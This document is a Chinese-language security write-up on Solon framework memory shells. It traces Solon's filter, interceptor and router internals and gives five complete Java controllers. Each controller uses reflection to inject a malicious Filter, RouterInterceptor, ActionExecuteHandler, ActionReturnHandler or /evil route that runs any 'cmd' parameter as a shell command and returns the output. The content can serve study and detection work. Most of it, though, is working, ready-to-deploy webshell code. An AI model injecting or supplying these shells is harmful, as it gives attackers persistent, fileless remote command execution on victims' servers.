Solon框架内存马

简介

Solon是一个高性能的Java应用开发框架,它具有轻量级、易于使用、高性能和可扩展等特点。

Solon框架适用于Web、定时任务、远程调用、微服务等多种开发场景,它的设计理念是简单、轻量、易于扩展,并且对开发者友好。Solon的核心模块提供了基础的IOC容器和AOP功能,同时提供了Web模块、数据库模块和其他常用功能模块,以支持更多样化的功能需求。

Solon架构图如下所示。

Solon框架的请求处理过程涉及几个关键的组件:过滤器(Filter)路由拦截器(RouterInterceptor)处理器(Handler)等。以下是Solon处理一个HTTP请求的大致流程:

  • 启动Solon应用:通过Solon.start(source, args, builder)启动Solon应用,这会实例化Solon.global()并加载配置,扫描插件并排序,运行初始化函数,推送事件,运行插件,导入Java Bean,扫描并加载Java Bean等步骤。
  • 请求到达:当一个HTTP请求到达Solon应用时,首先会经过过滤器(Filter)。过滤器是全局的,对所有请求都起作用。开发者可以自定义过滤器来实现诸如日志记录、权限检查等功能。
  • 路由拦截:经过过滤器后,请求会进入路由拦截器(RouterInterceptor)。在这里可以进行路由相关的处理,例如请求的重定向、路由的匹配等。
  • 处理器处理:路由拦截器之后,请求会交给相应的处理器(Handler)进行处理。在Solon中,处理器可以是注解了@Controller的控制器中的方法,也可以是手动通过app.get、app.post等方法注册的处理器。
  • 执行控制器方法:如果请求被映射到一个控制器方法,Solon会处理方法上的注解,如@Mapping,并注入参数,然后执行控制器方法。
  • 返回响应:处理器处理完请求后,会返回一个响应给客户端。这个响应可能是一个字符串、一个模型对象、一个ModelAndView对象等。
  • 视图渲染:如果处理器返回的是ModelAndView对象,Solon会使用配置的视图引擎(如Freemarker、Thymeleaf等)进行视图渲染,并将最终的HTML发送给客户端。
  • 异常处理:如果在请求处理过程中发生异常,Solon还提供了异常处理器来统一处理这些异常。
  • 插件扩展:Solon的插件体系允许开发者在不同的阶段插入自定义的处理逻辑,例如在请求处理前后、Bean加载、插件加载等阶段。

Solon请求处理过程示意图如下所示,Web处理会经过四个路段:过滤器(Filter) -> 路由拦截器(RouterInterceptor) -> 处理器(Handler) -> 拦截器(Interceptor)。

环境搭建

利用官网给出的项目模板搭建即可,https://solon.noear.org/article/learn-quickstart

内存马

Filter

编写一个Filter过滤器,在hello路由处下断点进行调试。

1
2
3
4
5
6
7
8
9
@Component(index = 0)
public class DemoFilter implements Filter {

@Override
public void doFilter(Context ctx, FilterChain chain) throws Throwable {
System.out.println(ctx.path());
chain.doFilter(ctx);
}
}

可以看到,最先调用doFilter方法的位置在org.noear.solon.core.ChainManager#doFilter,此处的作用是构造filterchain,在filterNodes中存储着需要执行的Filter。

继续往上跟进堆栈,在org.noear.solon.SolonApp#tryHandle中调用了org.noear.solon.core.ChainManager#doFilter,同时该类继承了org.noear.solon.core.route.RouterWrapper。

跟进org.noear.solon.core.route.RouterWrapper,在初始化路由的时候,会对ChainManager进行初始化,通过调用addFilter方法来添加Filter,因此可以通过获取上下文中的_chainManager字段,来添加恶意的Filter

借助c0ny1师傅的Java内存对象搜索辅助工具java-object-searcher来搜索获取到_chainManager字段的链。

1
2
3
4
5
6
7
8
9
10
11
12
// 搜索_chainManager
List<Keyword> keys = new ArrayList<>();
keys.add(new Keyword.Builder().setField_type("_chainManager").build());
// 新建一个广度优先搜索Thread.currentThread()的搜索器
SearchRequstByBFS searcher = new SearchRequstByBFS(Thread.currentThread(), keys);
// 打开调试模式, 会生成log日志
searcher.setIs_debug(true);
// 挖掘深度为20
searcher.setMax_search_depth(20);
// 设置报告保存位置
searcher.setReport_save_path("/Users/alphag0/Desktop");
searcher.searchObject();

搜索结果中一条符合的构造链如下所示。

1
2
3
4
5
6
7
8
9
10
11
TargetObject = {java.lang.Thread} 
---> threadLocals = {java.lang.ThreadLocal$ThreadLocalMap}
---> table = {class [Ljava.lang.ThreadLocal$ThreadLocalMap$Entry;}
---> [10] = {java.lang.ThreadLocal$ThreadLocalMap$Entry}
---> value = {org.noear.solon.boot.smarthttp.http.SmHttpContext}
---> _request = {org.smartboot.http.server.impl.HttpRequestImpl}
---> request = {org.smartboot.http.server.impl.Request}
---> serverHandler = {org.noear.solon.boot.smarthttp.http.SmHttpContextHandler}
---> handler = {org.noear.solon.boot.smarthttp.XPluginImp$$Lambda$91/1550228904}
---> arg$1 = {org.noear.solon.SolonApp}
---> _chainManager = {org.noear.solon.core.ChainManager}

对于获取请求上下文,可以参考官方文档中的认识请求上下文,利用Context ctx = Context.current();来直接获取当前上下文。

Filter内存马实现代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Filter;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@Controller
public class FilterMemoryShellController {
@Mapping("/inject-filter")
public String hello(@Param(defaultValue = "world") String name) throws Exception {
Filter evilFilter = (ctx, chain) -> {
try {
if (ctx.param("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
ctx.output(output);
}
} catch (Exception e) {
e.printStackTrace();
}
chain.doFilter(ctx);
};

Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addFilter(evilFilter,0);

return "Inject Filter Memory Shell Successfully!";
}

public Object getfieldobj(Object obj, String Filename) throws Exception {
try{
Field field = obj.getClass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
} catch (Exception e) {
Field field = obj.getClass().getSuperclass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
}
}
}

RouterInterceptor

RouterInterceptor内存马与Filter内存马基本类似,在上文分析org.noear.solon.core.route.RouterWrapper类时,可以看到还有添加路由拦截器的方法,通过addInterceptor方法来添加Interceptor。

Interceptor内存马实现代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Handler;
import org.noear.solon.core.route.PathRule;
import org.noear.solon.core.route.RouterInterceptor;
import org.noear.solon.core.route.RouterInterceptorChain;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@Controller
public class InterceptorMemoryShellController {
@Mapping("/inject-interceptor")
public String hello(@Param(defaultValue = "world") String name) throws Exception {
Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addInterceptor(new EvilRouterInterceptor(),0);

return "Inject Interceptor Memory Shell Successfully!";
}

public Object getfieldobj(Object obj, String Filename) throws Exception {
try{
Field field = obj.getClass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
} catch (Exception e) {
Field field = obj.getClass().getSuperclass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
}
}

class EvilRouterInterceptor implements RouterInterceptor {
@Override
public PathRule pathPatterns() {
//null 表示全部, 这里指定拦截路由hello
return new PathRule().include("/hello");
}

@Override
public void doIntercept(Context ctx, Handler mainHandler, RouterInterceptorChain chain) throws Throwable {
try {
if (ctx.param("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
ctx.output(output);
}
} catch (Exception e) {
e.printStackTrace();
}
chain.doIntercept(ctx, mainHandler);
}
}
}

ActionExecuteHandler

org.noear.solon.core.ChainManager类中,可以看到不仅有addFilter方法和addInterceptor方法,还有addExecuteHandler方法,因此可以采用通过添加恶意Action执行器的方式来打入内存马。

ActionExecuteHandler内存马实现代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.ActionExecuteHandler;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.wrap.MethodWrap;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@Controller
public class ActionExecuteHandlerMemoryShellController {
@Mapping("/inject-execute-handler")
public String hello(@Param(defaultValue = "world") String name) throws Exception {
Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addExecuteHandler(new EvilExecuteHandler(),0);

return "Inject ActionExecuteHandler Memory Shell Successfully!";
}

public Object getfieldobj(Object obj, String Filename) throws Exception {
try{
Field field = obj.getClass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
} catch (Exception e) {
Field field = obj.getClass().getSuperclass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
}
}

class EvilExecuteHandler implements ActionExecuteHandler {

@Override
public boolean matched(Context ctx, String mime) {
try {
if (ctx.param("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
ctx.output(output);
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}

@Override
public Object[] resolveArguments(Context ctx, Object target, MethodWrap mWrap) throws Throwable {
return new Object[0];
}

@Override
public Object executeHandle(Context ctx, Object target, MethodWrap mWrap) throws Throwable {
return null;
}
}
}

ActionReturnHandler

打入ActionExecuteHandler内存马类似,在org.noear.solon.core.ChainManager类中还有addReturnHandler方法,它允许开发者对控制器方法的返回值进行自定义处理,因此也可以通过添加恶意的ActionReturnHandler来打入内存马。

ActionReturnHandler内存马实现代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.ChainManager;
import org.noear.solon.core.handle.Action;
import org.noear.solon.core.handle.ActionReturnHandler;
import org.noear.solon.core.handle.Context;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.util.Scanner;

@Controller
public class ActionReturnHandlerMemoryShellController {
@Mapping("/inject-return-handler")
public String hello(@Param(defaultValue = "world") String name) throws Exception {
Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
ChainManager _chainManager = (ChainManager) getfieldobj(arg$1,"_chainManager");
_chainManager.addReturnHandler(new EvilReturnHandler());

return "Inject ActionReturnHandler Memory Shell Successfully!";
}

public Object getfieldobj(Object obj, String Filename) throws Exception {
try{
Field field = obj.getClass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
} catch (Exception e) {
Field field = obj.getClass().getSuperclass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
}
}

class EvilReturnHandler implements ActionReturnHandler {

@Override
public boolean matched(Context ctx, Class<?> returnType) {
try {
if (ctx.param("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
ctx.output(output);
}
} catch (Exception e) {
e.printStackTrace();
}
return false;
}

@Override
public void returnHandle(Context ctx, Action action, Object returnValue) throws Throwable {
}
}
}

RouterHandler

在Solon请求处理过程示意图中,注意到有一个Handler为RouterHandler,RouterHandler是Solon框架中的一个类,它实现了Handler接口,充当路由处理器的角色。在Solon框架中,RouterHandler负责处理HTTP请求和响应的路由逻辑。

打断点跟进分析一下org.noear.solon.core.route.RouterHandler#handle方法,在this.router中存储着当前所有的路径信息,包括对应作用的类和方法,请求路径和请求方式。

跟进org.noear.solon.core.route.RouterDefault#add方法,如果能够动态的向table中添加一条RouterDefault,即可添加一个恶意路由,从而实现内存马。

RouterHandler内存马实现代码如下。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
import org.noear.solon.annotation.Controller;
import org.noear.solon.annotation.Mapping;
import org.noear.solon.annotation.Param;
import org.noear.solon.core.AppContext;
import org.noear.solon.core.BeanWrap;
import org.noear.solon.core.handle.Context;
import org.noear.solon.core.handle.Handler;
import org.noear.solon.core.handle.MethodType;
import org.noear.solon.core.mvc.ActionDefault;
import org.noear.solon.core.route.RouterDefault;

import java.io.InputStream;
import java.lang.reflect.Field;
import java.lang.reflect.Method;
import java.util.Scanner;

@Controller
public class RouterHandlerMemoryShellController {
@Mapping("/inject-router-handler")
public String hello(@Param(defaultValue = "world") String name) throws Exception {
Context ctx = Context.current();
Object _request = getfieldobj(ctx,"_request");
Object request = getfieldobj(_request,"request");
Object serverHandler = getfieldobj(request,"serverHandler");
Object handler = getfieldobj(serverHandler,"handler");
Object arg$1 = getfieldobj(handler,"arg$1");
AppContext appContext = (AppContext) getfieldobj(arg$1,"_context");
RouterDefault _router = (RouterDefault) getfieldobj(arg$1,"_router");

BeanWrap beanWrap = new BeanWrap(appContext, EvilClass.class);
Method method = EvilClass.class.getDeclaredMethod("MemoryShell");
Handler newhandler = new ActionDefault(beanWrap, method);
_router.add("/evil", MethodType.ALL, newhandler);

return "Inject RouterHandler Memory Shell Successfully!";
}

public Object getfieldobj(Object obj, String Filename) throws Exception {
try{
Field field = obj.getClass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
} catch (Exception e) {
Field field = obj.getClass().getSuperclass().getDeclaredField(Filename);
field.setAccessible(true);
Object fieldobj = field.get(obj);
return fieldobj;
}
}

public static class EvilClass {
public EvilClass() {
}

public void MemoryShell() {
Context ctx = Context.current();
try {
if (ctx.param("cmd") != null) {
boolean isLinux = true;
String osTyp = System.getProperty("os.name");
if (osTyp != null && osTyp.toLowerCase().contains("win")) {
isLinux = false;
}

String[] cmds = isLinux ? new String[]{"sh", "-c", ctx.param("cmd")} : new String[]{"cmd.exe", "/c", ctx.param("cmd")};
InputStream in = Runtime.getRuntime().exec(cmds).getInputStream();
Scanner s = new Scanner(in).useDelimiter("\\A");
String output = s.hasNext() ? s.next() : "";
ctx.output(output);
}
} catch (Exception e) {
e.printStackTrace();
}
}
}
}

参考